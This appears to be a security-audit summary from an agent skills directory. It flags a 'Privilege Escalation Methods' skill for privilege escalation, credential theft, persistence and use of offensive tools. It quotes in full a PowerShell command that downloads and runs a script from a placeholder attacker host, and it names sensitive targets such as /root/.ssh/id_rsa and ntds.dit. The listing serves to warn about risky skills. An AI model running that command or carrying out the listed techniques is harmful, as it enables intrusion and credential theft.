The Agent Skills Directory

[PRIVILEGE_ESCALATION]: The skill provides explicit, step-by-step instructions for gaining root or administrator access. This includes exploiting Sudo misconfigurations (GTFOBins), Linux capabilities (cap_setuid), NFS root squashing, and Windows token impersonation (SeImpersonatePrivilege).
[DATA_EXFILTRATION]: Contains commands to access and exfiltrate highly sensitive data, such as private SSH keys (/root/.ssh/id_rsa), the Active Directory database (ntds.dit), and the Windows SYSTEM hive. It also includes methods for LLMNR poisoning and NTLM relaying to capture user hashes.
[REMOTE_CODE_EXECUTION]: Provides patterns for remote script execution, specifically a PowerShell command to download and execute code from an external URL: powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'.
[PERSISTENCE]: Instructions are included to maintain access to a compromised system using scheduled tasks (schtasks) on Windows and malicious cron jobs on Linux.
[COMMAND_EXECUTION]: Lists numerous high-risk command-line sequences for binary exploitation, service abuse, and Group Policy Object (GPO) manipulation to create unauthorized administrative accounts.
[EXTERNAL_DOWNLOADS]: The skill relies on and encourages the use of various external hacking tools (Mimikatz, Rubeus, Impacket, Responder, SweetPotato) from unverified sources.
[CREDENTIALS_UNSAFE]: Includes commands and examples for dumping credentials from memory and the LSA vault using Mimikatz.

Privilege Escalation Methods